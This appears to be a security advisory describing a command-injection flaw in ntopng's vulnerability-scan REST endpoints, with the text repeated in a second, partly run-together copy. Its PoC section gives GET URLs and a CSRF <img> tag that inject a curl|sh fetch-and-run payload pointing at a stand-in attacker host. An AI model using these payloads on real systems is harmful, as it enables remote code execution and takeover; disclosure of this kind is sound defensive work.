Summary
Two REST API endpoints that schedule an nmap-based vulnerability scan of a host build the shell command line by directly concatenating the attacker-supplied scan_ports HTTP parameter into a string that is later executed with popen(). The parameter is never validated (a registered http_lint validator, validateSingleWord, only rejects a literal space or single quote, and does not block ;, |, &, backticks, or $()). Any authenticated ntopng user including the lowest-privilege, non-administrator role, since no capability check gates this feature at all can execute arbitrary OS commands as the ntopng process user (commonly run with elevated capabilities/root for packet capture). Because the vulnerable endpoints are plain HTTP GET requests, and ntopng's CSRF-validation logic only runs for POST requests with a body, the attack is also trivially deliverable as a classic CSRF (e.g. an <img src=...> tag on any web page) against any logged-in ntopng user, without the attacker needing valid credentials of their own at all.
Details
Sink scripts/lua/modules/vulnerability_scan/vs_utils.lua:
-- vs_utils.nmap_scan_host(), ~line 2672
function vs_utils.nmap_scan_host(command, host_ip, ports, use_coroutines, module_name)
...
if not is_valid_nmap_target(host_ip) then -- only host_ip is validated
return nil
end
if(string.contains(host_ip, ':')) then command = command .. " -6 " end
if(not(isEmptyString(ports))) then command = command .. " -p " .. ports end -- line 2687: NO validation of `ports`
scan_command = string.format("%s %s", command, host_ip)
local result = vs_utils.runCommand(scan_command, use_coroutines) -- line 2694
-- vs_utils.runCommand(), ~line 2626
function vs_utils.runCommand(scan_command, use_coroutines)
...
result = ntop.execCmd(scan_command) -- or ntop.execCmdAsync(scan_command)
ntop.execCmd/ntop.execCmdAsync are bound in src/LuaEngineNtop.cpp:8184 (ntop_exec_cmd) directly to Utils::execCmd() (src/Utils.cpp:4431), whose sink is:
if ((fp = popen(cmd, "r")) != NULL) { ... }
popen() invokes /bin/sh -c <cmd>, so any shell metacharacter in cmd is interpreted.
Source two independent, unauthenticated-beyond-login entry points read scan_ports/ports straight from the query string with no validation:
scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua:16: local ports = _GET["scan_ports"]
scripts/lua/rest/v2/add/host/to_scan.lua:15: local scan_ports = _GET["scan_ports"]
Neither endpoint contains an isAdministrator() or auth.has_capability(...) check there is no auth.capabilities entry for the vulnerability-scan feature at all, so any logged-in account (including the most restricted "unprivileged" role) can reach it.
The only nominal defense is a registered validator, http_lint.lua:2443 (["scan_ports"] = validateSingleWord), whose implementation (http_lint.lua:312-318) only rejects strings containing a literal space or a single quote:
function validateSingleWord(s)
return not (string.find(s, " ") or string.find(s, "'"))
end
This does not block ;, |, &, backticks, $(), <, or > all fully functional in a POSIX shell without a space, e.g. via the ${IFS} trick for whitespace.
PoC
Requires only a valid, logged-in ntopng session of any privilege level (or, via CSRF, merely getting a logged-in victim of any role to load a URL/image):
GET /lua/rest/v2/add/host/to_scan.lua?host=192.168.1.5&scan_type=tcp_portscan&scan_ports=1;$(curl${IFS}http://attacker.example/x|sh);&csrf=<any-valid-own-csrf-or-omitted-since-GET>
or
GET /lua/rest/v2/exec/host/schedule_vulnerability_scan.lua?scan_single_host=true&scan_type=tcp_portscan&host=192.168.1.5&scan_ports=1-100;touch${IFS}/tmp/pwned;
The resulting shell command executed via popen() is approximately:
nmap -p 1;$(curl${IFS}http://attacker.example/x|sh); 192.168.1.5
udp_portscan.lua invokes nmap --privileged, so the injected command chain commonly runs with elevated privileges in typical deployments where ntopng itself runs as root for packet capture.
CSRF delivery vector (no attacker credentials needed at all): host an auto-loading <img src="https://<ntopng-host>/lua/rest/v2/add/host/to_scan.lua?host=1.2.3.4&scan_type=tcp_portscan&scan_ports=1;$(curl${IFS}attacker.example/x|sh);"> on any web page and wait for any logged-in ntopng user to view it since these endpoints are GET, ntopng's CSRF-token check (which only activates for POST requests carrying a body, see src/LuaEngine.cpp:1259) never runs.
Impact
Full remote code execution as the ntopng process user (frequently root, for capture capabilities), reachable by any authenticated account regardless of role, and independently deliverable via CSRF against any logged-in victim without the attacker needing credentials. This is the most severe finding in this audit.
Summary
Two REST API endpoints that schedule an
nmap-based vulnerability scan of a host build the shell command line by directly concatenating the attacker-suppliedscan_portsHTTP parameter into a string that is later executed withpopen(). The parameter is never validated (a registeredhttp_lintvalidator,validateSingleWord, only rejects a literal space or single quote, and does not block;,|,&, backticks, or$()). Any authenticated ntopng user including the lowest-privilege, non-administrator role, since no capability check gates this feature at all can execute arbitrary OS commands as the ntopng process user (commonly run with elevated capabilities/root for packet capture). Because the vulnerable endpoints are plain HTTPGETrequests, and ntopng's CSRF-validation logic only runs forPOSTrequests with a body, the attack is also trivially deliverable as a classic CSRF (e.g. an<img src=...>tag on any web page) against any logged-in ntopng user, without the attacker needing valid credentials of their own at all.Details
Sink
scripts/lua/modules/vulnerability_scan/vs_utils.lua:ntop.execCmd/ntop.execCmdAsyncare bound insrc/LuaEngineNtop.cpp:8184(ntop_exec_cmd) directly toUtils::execCmd()(src/Utils.cpp:4431), whose sink is:popen()invokes/bin/sh -c <cmd>, so any shell metacharacter incmdis interpreted.Source two independent, unauthenticated-beyond-login entry points read
scan_ports/portsstraight from the query string with no validation:scripts/lua/rest/v2/exec/host/schedule_vulnerability_scan.lua:16:local ports = _GET["scan_ports"]scripts/lua/rest/v2/add/host/to_scan.lua:15:local scan_ports = _GET["scan_ports"]Neither endpoint contains an
isAdministrator()orauth.has_capability(...)check there is noauth.capabilitiesentry for the vulnerability-scan feature at all, so any logged-in account (including the most restricted "unprivileged" role) can reach it.The only nominal defense is a registered validator,
http_lint.lua:2443(["scan_ports"] = validateSingleWord), whose implementation (http_lint.lua:312-318) only rejects strings containing a literal space or a single quote:This does not block
;,|,&, backticks,$(),<, or>all fully functional in a POSIX shell without a space, e.g. via the${IFS}trick for whitespace.PoC
Requires only a valid, logged-in ntopng session of any privilege level (or, via CSRF, merely getting a logged-in victim of any role to load a URL/image):
or
The resulting shell command executed via
popen()is approximately:udp_portscan.luainvokesnmap --privileged, so the injected command chain commonly runs with elevated privileges in typical deployments where ntopng itself runs as root for packet capture.CSRF delivery vector (no attacker credentials needed at all): host an auto-loading
<img src="https://<ntopng-host>/lua/rest/v2/add/host/to_scan.lua?host=1.2.3.4&scan_type=tcp_portscan&scan_ports=1;$(curl${IFS}attacker.example/x|sh);">on any web page and wait for any logged-in ntopng user to view it since these endpoints areGET, ntopng's CSRF-token check (which only activates forPOSTrequests carrying a body, seesrc/LuaEngine.cpp:1259) never runs.Impact
Full remote code execution as the ntopng process user (frequently root, for capture capabilities), reachable by any authenticated account regardless of role, and independently deliverable via CSRF against any logged-in victim without the attacker needing credentials. This is the most severe finding in this audit.